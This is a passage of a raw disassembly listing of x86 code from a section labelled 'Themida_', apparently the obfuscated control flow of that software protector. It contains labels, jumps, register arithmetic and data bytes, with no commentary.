eax, edx push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_554BE8 ; --------------------------------------------------------------------------- loc_5572A0: ; CODE XREF: Themida_:0055424Fj add esp, 4 or esi, 3BE365CEh sub esi, 14BE4D52h shr esi, 1 add esi, 3A6468E2h jmp loc_5622C5 ; --------------------------------------------------------------------------- loc_5572BC: ; CODE XREF: Themida_:005547B7j xor esi, 916C92B6h mov ecx, esi pop esi add ecx, ebx mov ebx, [esp] add esp, 4 and eax, ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 push ebx mov ebx, esp add ebx, 4 push edx mov edx, 4 jmp loc_557B2C ; --------------------------------------------------------------------------- dd 4EC81h, 4890000h, 0E9E08924h, 9853h, 0C181F901h, 7E556746h dd 166CE952h, 0C4830000h, 0EB40E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557312: ; CODE XREF: Themida_:00563E1Dj push dword ptr [esp] pop eax push esi mov esi, esp add esi, 4 push edi jmp loc_55A4EA ; --------------------------------------------------------------------------- db 1, 7Ch, 24h dd 3394E904h, 54510000h, 8AA0E9h db 0 ; --------------------------------------------------------------------------- loc_557335: ; CODE XREF: Themida_:0055749Cj dec dword ptr [esp] pop edx or edx, 3EAA38EDh jmp loc_55DAF3 ; --------------------------------------------------------------------------- dd 52DFF281h, 9692221Dh, 0D3F7DE87h, 5296DE87h, 57585A50h dd 3C3319BFh, 5FFA096Ch, 66CFE9h db 0 ; --------------------------------------------------------------------------- loc_557365: ; CODE XREF: Themida_:00566791j pop ebx sub esp, 4 mov [esp], ecx push 2D13h jmp loc_5597EE ; --------------------------------------------------------------------------- aZHo db '┤<$\ho%',0 align 2 dw 1489h dd 0DDDFE924h, 1433FFFFh, 4895C24h, 0B92DE924h, 0D6F6FFFFh dd 0E92DC680h, 0FFFFC093h ; --------------------------------------------------------------------------- loc_5573A0: ; CODE XREF: Themida_:0056464Aj xor [esp], ebx jmp loc_55C15E ; --------------------------------------------------------------------------- dd 0F181D9F7h, 9AF118B7h, 159CE31h, 24348BF0h, 0FFD81BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5573BD: ; CODE XREF: Themida_:005554E7j push eax jmp loc_566BC5 ; --------------------------------------------------------------------------- db 29h dd 3EE9F0h, 4B80000h, 1000000h, 0E33EE9C1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5573D6: ; CODE XREF: Themida_:00555892j sub edx, 32604B21h pop esi push edi jmp loc_55797D ; --------------------------------------------------------------------------- loc_5573E3: ; CODE XREF: Themida_:00558CB6j mov edi, [esp] add esp, 4 shl eax, 6 shr eax, 5 add eax, 34CD8583h jmp loc_564792 ; --------------------------------------------------------------------------- loc_5573F9: ; CODE XREF: Themida_:0055DBFCj add edx, 4 xchg edx, [esp] pop esp jmp loc_5620FB ; --------------------------------------------------------------------------- dd 2754502Dh, 0C7295E06h, 0FFC995E9h db 0FFh byte_557415 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:005529ECo dd 0D259669Dh, 0E99C241Ch, 8763h ; --------------------------------------------------------------------------- loc_557424: ; CODE XREF: Themida_:0055CDF3j add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] push ebx sub esp, 4 jmp loc_554205 ; --------------------------------------------------------------------------- db 54h dd 8B2434FFh, 0C481241Ch, 4, 4C481h, 89530000h, 4C381E3h dd 83000000h, 1C8704EBh, 2EE95C24h, 530000A2h, 0DFF6F6B7h dd 91B25266h, 5A66D728h, 2C5BF820h, 0D97DE9D9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55747E: ; CODE XREF: Themida_:00560183j push edx push dword ptr [esp] pop eax jmp loc_55BC74 ; --------------------------------------------------------------------------- loc_557488: ; CODE XREF: Themida_:0055CCF4j not edi xchg eax, edi push edi mov edi, 729D0326h shl edi, 5 dec edi jmp loc_560AF8 ; --------------------------------------------------------------------------- loc_55749A: ; CODE XREF: Themida_:00560EDCj dec edx push edx jmp loc_557335 ; --------------------------------------------------------------------------- loc_5574A1: ; CODE XREF: Themida_:005646A8j sub esi, eax pop eax push eax mov eax, esi mov edi, eax pop eax jmp loc_5561E1 ; --------------------------------------------------------------------------- db 81h dd 0D3D8BCF1h, 6C73E99Eh, 0C890000h, 7BEEB924h, 0E957334Fh dd 9FAFh, 52EFBB8h, 36ED2D7Ch, 0C1E95085h, 83FFFFECh, 8B042404h dd 0C481241Ch, 4, 4EC81h, 6CE90000h, 8B0000A6h, 8B662424h dd 0EC832404h, 240C8904h, 557E68h, 24248900h, 4240483h dd 52515759h, 0FE2136BAh, 0C1EAD139h, 0E94207E2h, 5A1Bh ; --------------------------------------------------------------------------- loc_55751C: ; CODE XREF: Themida_:0055AE4Fj pop ebx add ebx, 8E97DBBh or ebx, 4E0A763Fh xor ebx, 0EE484CA6h jmp loc_55DA81 ; --------------------------------------------------------------------------- dd 0E4BF575Dh, 9314937h, 243C8BFBh, 8104C483h, 8BACBFC3h dd 5BDD89C7h, 2BA9E9h, 24048300h, 0EDE95B04h, 0BD000036h dd 6312414Dh, 565DEF89h, 776401BEh, 0CFADE91Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_55756E: ; CODE XREF: Themida_:00556E01j pop edi pop esi dec eax or eax, 6E5E1AA8h shr eax, 7 neg eax jmp loc_567055 ; --------------------------------------------------------------------------- dd 3C8BFE89h, 4C48324h, 0CEB0E9h, 2C48300h, 81E38953h dd 4C3h, 2EB8100h, 87000000h, 665C241Ch, 0B0240489h, 0CC8FE71h dd 8E8C01Dh, 0F72CB82Ch, 0C64DE9h db 0 ; --------------------------------------------------------------------------- loc_5575B9: ; CODE XREF: Themida_:00565C33j sub esi, ecx push ecx jmp loc_562F76 ; --------------------------------------------------------------------------- loc_5575C1: ; CODE XREF: Themida_:00566F14j neg edi inc edi push edx mov edx, 6B6D3333h add edi, edx pop edx sub esp, 4 jmp loc_561DF8 ; --------------------------------------------------------------------------- db 68h, 0FAh, 2Eh dd 34890000h, 3531BE24h, 0B95145A1h, 6D9C3D4Ch, 0D631E9h dd 4BF5700h, 0E9000000h, 0A86Ah, 2434FF5Dh, 4C48358h, 7510BF57h dd 0C78106E5h, 0FFFFFFFFh, 0BECF814Fh, 4F677312h, 0BE56DFF7h dd 39F56E8Ch, 787DB850h, 9E25775Ah, 0D3CF233h, 7E5E2915h dd 14D94F2Dh, 0CC82E95Fh, 0F789FFFFh, 2771E9h, 0B9C38100h dd 811EEF55h, 1D7ABAC3h, 81FB013Dh, 1D7ABAEBh, 0E41BE93Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_557656: ; CODE XREF: Themida_:00557CE5j push 5EBBh jmp loc_5587FB ; --------------------------------------------------------------------------- loc_557660: ; CODE XREF: Themida_:0055649Bj pop ebx jmp loc_566092 ; --------------------------------------------------------------------------- aXsil db 'XИIL',0 align 4 dd 245C015Ah, 21116804h, 14890000h, 6B6DBA24h, 448164FBh dd 78B70824h, 5429266Bh, 0BD550824h, 266B78B7h, 0C246C29h dd 2434FF5Dh, 8124148Bh, 4C4h, 4C48300h, 5B2434FFh, 8904EC83h dd 0E2892414h, 4C281h, 2BE90000h, 8900004Eh, 3B68241Ch dd 89000071h, 4812424h, 424h, 0C2E95B00h, 8100003Ah, 4EDh dd 242C8700h, 8924248Bh, 8B54243Ch, 0C481243Ch, 4, 0E9E08950h dd 58C1h, 4C781h, 87E90000h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5576FF: ; CODE XREF: Themida_:0055C912j xor al, ch mov cx, [esp] push eax mov eax, esp add eax, 4 add eax, 2 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_566A5A ; --------------------------------------------------------------------------- loc_55771E: ; CODE XREF: Themida_:00552F11j push esp jmp loc_561268 ; --------------------------------------------------------------------------- dd 4247C01h, 0EC835F5Fh, 242C8904h, 0FFD38AE9h, 243C33FFh dd 33243C31h, 248B243Ch, 4C28124h, 55000000h, 2BDh, 8BEA2900h dd 0D4E9242Ch, 5F000010h, 4245401h, 2434FF5Ah, 4C4815Fh dd 0E9000000h, 0F530h, 0F9F280h, 68B6E9D0h, 81580000h dd 4ECh, 24048900h, 24048B54h, 4C481h, 5680000h, 0E9000079h dd 80D1h ; --------------------------------------------------------------------------- loc_557794: ; CODE XREF: Themida_:00562B02j add esp, 2 and ch, dh mov edx, [esp] add esp, 4 dec ch push eax mov al, 5Fh jmp loc_565F6B ; --------------------------------------------------------------------------- dd 6C62D52Dh, 3041051Bh, 0BA350C37h, 145B723h, 0D78CE9C6h dd 0ED810000h, 4BC575BFh, 0C581F501h, 4BC575BFh, 8324348Bh dd 0B95104C4h, 30C3335Ah, 6FDB850h, 0C1017287h, 8324048Bh dd 0F18104C4h, 78D7C54h, 0F18149h, 81A4C746h, 0F80EA7EDh dd 0E9CD010Bh, 0C079h, 68E9E789h, 81FFFFB8h, 4C6h, 4B85000h dd 50000000h, 0AD97E9h, 4C48100h, 28000000h, 0D8D9E9C8h dd 89500000h, 405E0h, 0BE560000h, 4, 3636502Dh, 0E9F0015Ch dd 0EAD2h ; --------------------------------------------------------------------------- loc_557844: ; CODE XREF: Themida_:00564953j pop dword ptr [esp] pop esp loc_557848: ; CODE XREF: Themida_:loc_554197j ; Themida_:loc_555789j push dword ptr [edi+24h] push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] add esp, 4 push ebx jmp loc_55BC59 ; --------------------------------------------------------------------------- db 21h, 0F0h, 0E9h dd 4B3Bh, 4BFh, 5FFB8900h, 1C8BDD29h, 0A12CE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557876: ; CODE XREF: Themida_:00560E3Cj pop esp mov [esp], ecx mov ecx, esp push 14E0h mov [esp], ebp mov ebp, 5F250C25h or ebp, 520E31C6h push edi mov edi, 5D034DBBh and edi, 3E884F65h neg edi inc edi not edi dec edi add edi, 432EF0C5h xor ebp, edi push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 add ecx, 146F6947h add ecx, 508B1753h add ecx, ebp sub ecx, 508B1753h push esi mov esi, 146F6947h push esi mov esi, 475605D3h add ecx, esi jmp loc_55C4DE ; --------------------------------------------------------------------------- loc_5578E2: ; CODE XREF: Themida_:00565BCAj mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_554CCA ; --------------------------------------------------------------------------- loc_5578F6: ; CODE XREF: Themida_:00563601j add edi, 35F51B12h mov ecx, [esp] add esp, 4 mov eax, edi pop edi push edx mov edx, 0FFFFFFFFh add eax, edx pop edx not eax neg eax xor eax, 440062C8h jmp loc_55A2E0 ; --------------------------------------------------------------------------- dd 4C281h, 14870000h, 0C3805C24h, 0A200E9D1h, 24BB0000h dd 0F742264Dh, 15E951D3h db 1Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55793B: ; CODE XREF: Themida_:005605DAj push dword ptr [esp] jmp loc_5533CB ; --------------------------------------------------------------------------- db 33h dd 248B241Ch db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5533D2 ; --------------------------------------------------------------------------- db 0F7h, 0DBh, 81h aI6t8s1? db 'К:6▓8И1?',0 align 2 dw 2C89h dd 81E58924h, 4C5h, 6B9C6800h, 14890000h, 4FBBBA24h, 555156D2h dd 0F7B1E9h db 0 ; --------------------------------------------------------------------------- loc_55797D: ; CODE XREF: Themida_:005573DEj mov edi, 4 sub edx, edi pop edi xchg edx, [esp] pop esp mov [esp], eax mov eax, esp add eax, 4 push edx jmp loc_56289F ; --------------------------------------------------------------------------- aI4Hjw db '┴4$h├W',0 dd 241C8900h, 0BA441168h, 0C3815B79h, 64177A36h, 0C381DBF7h dd 191A11ACh, 4AE9DE89h db 0C0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5579BF: ; CODE XREF: Themida_:00557FEFj or edi, 3EC11D97h or edi, 36214787h xor edi, 0CC5475CAh sub edx, edi pop edi add edx, edi push edi mov edi, 7DE91A12h jmp loc_56021E ; --------------------------------------------------------------------------- loc_5579E1: ; CODE XREF: Themida_:00562A45j pop ebp pop dword ptr [esp] mov esp, [esp] and eax, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 or edx, eax shl edx, 1 push 6C04h jmp loc_55459E ; --------------------------------------------------------------------------- loc_557A07: ; CODE XREF: Themida_:005588EAj push edx mov edx, esp jmp loc_555884 ; --------------------------------------------------------------------------- db 5Eh dd 5C240487h, 4EC8353h, 0B5240C89h, 59EB8829h, 2414F653h dd 84B4505Bh, 806EF480h, 0DCF6EAC4h, 0D3C480h, 0E3C058E3h dd 0E0895004h, 0C258E9h db 0 ; --------------------------------------------------------------------------- loc_557A41: ; CODE XREF: Themida_:0055E442j mov edx, [esp] add esp, 4 jmp loc_563422 ; --------------------------------------------------------------------------- loc_557A4C: ; CODE XREF: Themida_:00555E9Fj mov [esp], ecx jmp loc_55B21D ; --------------------------------------------------------------------------- dd 0E9240C8Bh, 0FFFFC385h ; --------------------------------------------------------------------------- loc_557A5C: ; CODE XREF: Themida_:0056022Bj push edi mov edi, 61EB48F8h sub [esp+8], edi mov edi, [esp] add esp, 4 add [esp+4], edx add dword ptr [esp+4], 61EB48F8h push dword ptr [esp] jmp loc_55BB49 ; --------------------------------------------------------------------------- dd 3797E281h, 0D2F7306Dh, 0ADE953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557A8E: ; CODE XREF: Themida_:0055B9CBj pop dword ptr [esp] mov esp, [esp] mov [esp], ebx sub esp, 4 mov [esp], eax push ebx mov bl, 8Dh mov ah, bl pop ebx push edx mov dl, ah push eax mov ah, dl mov bl, ah pop eax pop edx push dword ptr [esp] mov eax, [esp] add esp, 4 push ebp jmp loc_55E3F6 ; --------------------------------------------------------------------------- aISA db '┴аИ&М',0 align 2 dw 0E581h dd 658959F9h, 3DBA5251h, 0F72D3C46h, 0F479E9DAh, 0B8500000h dd 2, 0E958C701h, 0FFFFC958h, 2AE9DD28h, 5A0000D8h, 8B5FF829h dd 0C481242Ch, 4, 930E9925h, 0E0C14859h, 0D5354004h, 570030C7h dd 0F591E9h, 4C48300h, 0C107E9C1h, 0E98105E1h, 1, 93C2C181h dd 0E95546ABh, 0C9D1h ; --------------------------------------------------------------------------- loc_557B2C: ; CODE XREF: Themida_:005572E7j add ebx, edx pop edx xchg ebx, [esp] pop esp shr eax, 10h jmp loc_56432E ; --------------------------------------------------------------------------- db 0BBh dd 375F1B85h, 1C55E9h, 241C8900h, 95E4E954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557B4E: ; CODE XREF: Themida_:0055AD01j mov ebp, edi pop edi mov edx, 21BC2879h not edx jmp loc_554C13 ; --------------------------------------------------------------------------- loc_557B5D: ; CODE XREF: Themida_:005609F4j add ecx, 2 xchg ecx, [esp] pop esp xor ch, 76h add al, ch pop ecx push ecx mov cl, 49h jmp loc_553711 ; --------------------------------------------------------------------------- loc_557B75: ; CODE XREF: Themida_:0055B167j ; Themida_:0055C2D7j sub esp, 4 jmp loc_56078B ; --------------------------------------------------------------------------- loc_557B7D: ; CODE XREF: Themida_:00558390j push dword ptr [esp] pop ecx push ecx mov ecx, esp add ecx, 4 jmp loc_55DA50 ; --------------------------------------------------------------------------- loc_557B8F: ; CODE XREF: Themida_:00557C00j xchg edi, [esp] pop esp push ecx mov ecx, 39D30519h xor esi, ecx jmp loc_553373 ; --------------------------------------------------------------------------- loc_557BA0: ; CODE XREF: Themida_:00562AE3j pop edx add eax, 620952F4h jmp loc_55B152 ; --------------------------------------------------------------------------- loc_557BAB: ; CODE XREF: Themida_:0056058Dj mov ecx, [esp] add esp, 4 pop ebx xchg ebp, [esp] mov esp, [esp] xor ebx, 284A5684h pop edi push esi mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_5620A3 ; --------------------------------------------------------------------------- loc_557BD9: ; CODE XREF: Themida_:005532FEj add ebx, 4 xchg ebx, [esp] pop esp xor ecx, eax jmp loc_55E84F ; --------------------------------------------------------------------------- dw 0C281h dd 4E255EAEh, 0AAFBE9h db 0 ; --------------------------------------------------------------------------- loc_557BF5: ; CODE XREF: Themida_:00559963j mov edi, esp add edi, 4 add edi, 4 jmp loc_557B8F ; --------------------------------------------------------------------------- db 66h, 0FFh, 74h dd 0A6E90224h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557C0F: ; CODE XREF: Themida_:0055FEFBj mov ebx, 8B23ED2h add ecx, ebx pop ebx sub ecx, 0E5623428h sub esp, 4 mov [esp], ebx jmp loc_565D02 ; --------------------------------------------------------------------------- byte_557C2B db 68h ; DATA XREF: Themida_:005529F4o dd 116Eh, 0E9241C89h, 2CAFh, 0E904C483h, 0CE4Bh db 8Bh, 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ecx mov ecx, 0C8BCF142h sub ebp, ecx jmp loc_5540CA ; --------------------------------------------------------------------------- dd 81242C8Bh, 4C4h, 0E9FE8900h, 0FFFFE591h, 137E1BB8h dd 4FC72502h, 0D8F710E7h, 34E0705h, 9806E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557C86: ; CODE XREF: Themida_:00564EC0j jmp loc_552CC3 ; --------------------------------------------------------------------------- db 0BDh dd 79B623F7h, 15DE831h, 2434FFC7h, 134AE9h, 49926800h dd 0A5E90000h, 68FFFFCAh, 27C9h, 0BE243489h, 105A250Ah dd 73E8E9h, 0C335B00h, 4F62E924h, 0BE560000h, 0F7050672h dd 0E95EF329h, 8658h ; --------------------------------------------------------------------------- loc_557CD0: ; CODE XREF: Themida_:00564FACj push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp mov [esp], ebx push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_557656 ; --------------------------------------------------------------------------- loc_557CEA: ; CODE XREF: Themida_:005550DDj push eax jmp loc_55BCE7 ; --------------------------------------------------------------------------- dd 0C788E947h, 0E381FFFFh, 5C013C10h, 1B85C381h, 0DA313550h dd 7067E9h, 48B6600h, 3E776824h, 14890000h, 96E6E924h dd 0C1810000h, 4, 0E904C183h, 0AB42h, 4C7815Fh, 83000000h dd 3C8704EFh, 24248B24h, 87243C89h, 0D0F72404h, 0FF240487h dd 64E92434h, 560000DBh, 2993BA52h, 0CBE41A7h, 0E970C16Dh dd 0C5ECh, 0B951CA01h, 1B29667Bh, 0FF59CA01h, 6CE92434h dd 1FFFFDDh, 3A7905D0h, 23E92A35h, 810000F9h, 4ECh, 268CE900h dd 1C8B0000h, 4C48124h, 0E9000000h, 51B6h ; --------------------------------------------------------------------------- loc_557D94: ; CODE XREF: Themida_:005530B4j push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_55A734 ; --------------------------------------------------------------------------- dd 3226AABBh, 5BDE01F2h, 0E95EF701h, 0FFFFF5C1h, 0E9D08959h dd 1401h, 125968h, 24248900h, 4240483h, 81240C8Bh, 4C4h dd 0C7EAE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557DDA: ; CODE XREF: Themida_:00559ED7j mov [esp], ecx jmp loc_560498 ; --------------------------------------------------------------------------- dw 0C281h dd 2A42701Ch, 522E956h db 2 dup(0) word_557DEE dw 8B66h ; DATA XREF: Themida_:00552A8Co dd 0E951240Ch, 0FFFFB163h, 4C281h, 0C2810000h, 4, 5C241487h dd 0FFAEB6E9h, 24048FFFh, 265EE9h, 0D9F38100h, 17FA911h dd 0E9525BD8h, 3122h dword_557E24 dd 24048B66h, 1CAE68h, 0E1AAE900h ; DATA XREF: Themida_:00552A44o db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557E32: ; CODE XREF: Themida_:00553D03j mov [esp], ebp push edx push 7DA5695Bh pop edx jmp loc_5667B6 ; --------------------------------------------------------------------------- db 45h, 81h, 0C5h dd 0FD11205h, 595DEE01h, 73C868h, 240C8900h, 2B56E9h, 5BD0BB00h dd 9DE94D17h, 59FFFFBAh, 0C103EAC1h, 8A6808EAh, 89000010h dd 26BE2434h, 0E951AB75h, 0FFFFD40Ch ; --------------------------------------------------------------------------- loc_557E7C: ; CODE XREF: Themida_:00565CF2j pop ebp jmp loc_5606EC ; --------------------------------------------------------------------------- dw 0BD55h dd 266566B4h, 3CE0ED81h, 0CD81166Fh, 71413C32h, 12C7BA52h dd 0E2811AC5h, 0ED008B6h, 0D037E9h, 25E95700h db 3Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_557EAB: ; CODE XREF: Themida_:0055E027j mov esi, [esp] add esp, 4 push eax mov eax, 4 sub ebx, eax pop eax xchg ebx, [esp] pop esp mov [esp], eax push edx jmp loc_55A951 ; --------------------------------------------------------------------------- loc_557EC7: ; CODE XREF: Themida_:005544E7j mov ecx, [esp] add esp, 4 pop ebx add esi, 154829B4h jmp loc_553851 ; --------------------------------------------------------------------------- loc_557EDC: ; CODE XREF: Themida_:00566607j mov eax, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_560378 ; --------------------------------------------------------------------------- loc_557EED: ; CODE XREF: Themida_:00553A67j sub edx, ebx sub edx, 3F3C0819h pop ebx push ebp mov ebp, 14EF4E8Bh or edx, ebp pop ebp add edx, 1 sub edx, 6ED4719Ah push 6796h mov [esp], ebp push edx push ecx jmp loc_55FE20 ; --------------------------------------------------------------------------- loc_557F1A: ; CODE XREF: Themida_:0055327Fj mov edx, 1E40763Bh jmp loc_563388 ; --------------------------------------------------------------------------- dd 52243C8Bh, 0C281E289h, 4, 4C281h, 14330000h, 24143124h dd 5C241433h, 2474FF50h, 0CBB1E904h, 895CFFFFh, 35B02404h dd 0E9C58851h, 41FFh, 0A6677FB9h, 1EC98108h, 0F762C434h dd 6DB850D9h, 945E94Ch, 2434FFC1h, 0A625E958h, 5B540000h dd 217768h, 242C8900h, 4EC81h, 0DCE90000h, 8100005Ch, 876E02EDh dd 0E9EB0136h, 0FFFFCF5Ah, 0FEE9D387h, 81FFFFD8h, 0F84101EEh dd 5EF509DBh, 6A21E956h, 0C6810000h, 1378EC61h, 56BCE9h db 0 ; --------------------------------------------------------------------------- loc_557FB9: ; CODE XREF: Themida_:005604C4j shl edi, 1 xor edi, 98B2FA7h or edi, 69D90A4Ch sub edi, 74F766BEh add edx, edi pop edi push dword ptr [esp] pop eax add esp, 4 push edi mov edi, 2CE07B1Eh shl edi, 6 or edi, 0F9224DBh add edi, 67DC37D1h jmp loc_5579BF ; --------------------------------------------------------------------------- dd 4240483h, 83242C8Bh, 18E904C4h, 6600003Eh, 66243489h dd 22474FFh, 24348B66h, 6602C483h, 6624048Fh, 14876656h dd 37BE924h, 4890000h, 0C085B424h, 536607E4h, 0FC206CB7h dd 22E95B66h db 0F4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558037: ; CODE XREF: Themida_:0055BCFDj push 4794h jmp loc_55598A ; --------------------------------------------------------------------------- db 29h, 0EAh, 0E9h dd 0C1F3h, 5E45F281h, 815233B4h, 7A72242Ch, 81597A0Ch dd 0C7A72C1h, 0EE5DE97Ah, 875A0000h, 335C241Ch, 0C31240Ch dd 240C3324h, 0D224248Bh, 0E99C240Ch, 0FFFFAC47h ; --------------------------------------------------------------------------- loc_55807C: ; CODE XREF: Themida_:005562C3j xchg ebx, ebp not ebx xchg ebx, ebp jmp loc_560C33 ; --------------------------------------------------------------------------- db 81h dd 3A32F7C5h, 66E95304h, 2D000001h, 5D187E0Fh, 5C15EF2Dh dd 8BC78952h, 0C4812404h, 4, 0C2E5E952h, 0E95FFFFFh, 0FFFFE85Dh dd 46F2E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5580BA: ; CODE XREF: Themida_:00553464j push ebp mov ebp, 32462E9Bh add ebp, 4501433Fh jmp loc_562753 ; --------------------------------------------------------------------------- loc_5580CB: ; CODE XREF: Themida_:0055EC2Ej add esp, 4 push 5FCCh mov [esp], edx push esi push edx push 4C9568A1h jmp loc_565DA0 ; --------------------------------------------------------------------------- a2i7isvi db '-2I7iИv╘',0 dw 8100h dd 32718EBh, 74B9513Bh, 313D596Eh, 9134E9CBh, 68660000h dd 42E97005h db 0ACh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55810B: ; CODE XREF: Themida_:0056276Dj xor bl, dl pop edx xor al, bl mov ebx, [esp] add esp, 4 push ecx jmp loc_559D31 ; --------------------------------------------------------------------------- dd 2434895Ch, 454AB8BEh, 2EEC10Dh, 0C681DEF7h, 35152B2h dd 835EF101h, 348904ECh, 6DBD5524h, 0BE5B8076h, 5B80766Fh dd 2C8BEE29h, 0E7895724h, 4C781h, 0C7830000h, 243C8704h dd 7075E9h, 0F0E95300h, 53FFFFCEh, 0E3C072B3h, 28EB8003h dd 0E95BDD88h, 0FFFFF974h, 0FFAB4AE9h db 0FFh ; --------------------------------------------------------------------------- loc_558179: ; CODE XREF: Themida_:005646C1j mov eax, esi mov esi, [esp] push ebp jmp loc_5633F5 ; --------------------------------------------------------------------------- dd 815AD689h, 0F93A42EFh, 0FCC7813Eh, 1382F40h, 0FCEF81F7h dd 81382F40h, 0F93A42C7h, 0CF13E93Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5581A6: ; CODE XREF: Themida_:00563ED5j pop ecx add dword ptr [ebx], 1 jmp loc_56294A ; --------------------------------------------------------------------------- loc_5581B2: ; CODE XREF: Themida_:0056551Fj push ebx mov ebx, 3FAC4E5Eh add edx, ebx pop ebx sub edx, 1 push ecx mov ecx, 21597B7Bh push ebx mov ebx, 57E09E7h or ebx, 44E92965h jmp loc_559B79 ; --------------------------------------------------------------------------- db 31h, 0D0h, 8Bh dd 0C4812414h, 4, 7180E9h, 0C4F38000h, 8108EBC0h, 4ECh dd 240C8900h, 0FFC549E9h, 76FEBBFFh, 0F7534DD4h, 835B2414h dd 348904ECh, 350E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55820E: ; CODE XREF: Themida_:0055BF1Bj mov bl, dh mov dh, ch pop cx push small 0 sub [esp], dh mov dh, [esp] add esp, 2 push bx mov bh, 53h and dh, bh jmp loc_5609F9 ; --------------------------------------------------------------------------- dword_55822C dd 592434FFh, 441768h, 0A59FE900h ; DATA XREF: Themida_:00552C6Co db 2 dup(0) ; --------------------------------------------------------------------------- loc_55823A: ; CODE XREF: Themida_:00556C0Cj shr edx, 1 cmp eax, edx jz loc_566407 push 2734h mov [esp], esi push ebx mov ebx, 75252997h and ebx, 321E1D1Dh or ebx, 37B9248Ch inc ebx add ebx, 0D7CC423Eh inc ebx and ebx, 62033F8Fh dec ebx neg ebx add ebx, 46D16EB7h shl ebx, 3 and ebx, 31621D38h push 4DEAh jmp loc_562C11 ; --------------------------------------------------------------------------- dd 8158C609h, 0F7FAF9F6h, 5EF23191h, 0BCC4E9h, 4C48300h dd 11B0E9h, 24048F00h, 8924248Bh, 9FE9242Ch db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5582AF: ; CODE XREF: Themida_:00553392j push 7F7Bh mov [esp], ebx mov ebx, 1D2F5323h mov edx, 0D73E3F5h add edx, ebx pop ebx push ebp mov ebp, 6AB20FBDh or edx, ebp jmp loc_55BDE1 ; --------------------------------------------------------------------------- byte_5582D1 db 0F7h, 1Ch, 24h ; DATA XREF: Themida_:00552A54o dd 0A9E9E99Ch, 5253FFFFh, 0FFAA3DE9h, 92C480FFh, 0E958E608h dd 0FFFFB095h, 0EA815E5Ah, 5EBA4D22h, 0E2D8F281h, 0DAF7BBFDh dd 68h, 24142900h, 8324148Bh, 0E95504C4h, 0FFFFB863h, 0C681E689h dd 4, 4EE81h, 62E90000h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_558323: ; CODE XREF: Themida_:0055E637j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp loc_558333: ; CODE XREF: Themida_:00563E24j push eax mov eax, esp push edi mov edi, 4 add eax, edi pop edi sub eax, 4 jmp loc_562831 ; --------------------------------------------------------------------------- db 1, 0CEh, 8Bh dd 8956240Ch, 4C681E6h, 0E9000000h, 88CEh, 4EC81h, 4890000h dd 4EC8324h, 0FFDB0BE9h, 4BDFFh, 80E90000h, 0B800003Dh dd 7E22606Ch, 39F96B05h, 8BC501F0h, 0C4832404h, 2266E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55838E: ; CODE XREF: Themida_:00555985j pop ebp pop esi jmp loc_557B7D ; --------------------------------------------------------------------------- loc_558395: ; CODE XREF: Themida_:0055A6B6j and edx, ebx pop ebx jmp loc_55A30B ; --------------------------------------------------------------------------- db 66h, 0F7h, 0D2h dd 0FFB173E9h db 0FFh ; --------------------------------------------------------------------------- loc_5583A5: ; CODE XREF: Themida_:005594B2j pop esi add ebp, 4 xchg ebp, [esp] pop esp sub [esp+4], ebx mov ebx, [esp] jmp loc_566E71 ; --------------------------------------------------------------------------- dd 6173B850h, 6F2D380Fh, 1380F61h, 61A6E9C7h, 0C6810000h dd 364177D7h, 4DF6814Eh, 81401E73h, 5E76E9EEh, 0BDF68119h dd 81EC8A1Dh, 8435F1C5h, 39ED8130h, 294B5666h, 52BB53F5h dd 0F77ADA2Ah, 59E381DBh, 812E3D10h, 0D75E4BCBh, 72F38146h dd 0E90DA138h, 0FFFFC74Ah, 2474FF52h, 48F5A04h, 0B2C9E924h dd 8F2D0000h, 0E9340D77h, 47E4h, 7080E681h, 0B95154A7h dd 47C048B6h, 9033E9h db 0 ; --------------------------------------------------------------------------- loc_55843D: ; CODE XREF: Themida_:0055A0C9j add ebp, esi jmp loc_555697 ; --------------------------------------------------------------------------- dd 74FF5259h, 8F5A0424h, 248B2404h, 0C8BF0F24h, 61F68h dd 240C8900h, 0A98CE9h, 937FBD00h, 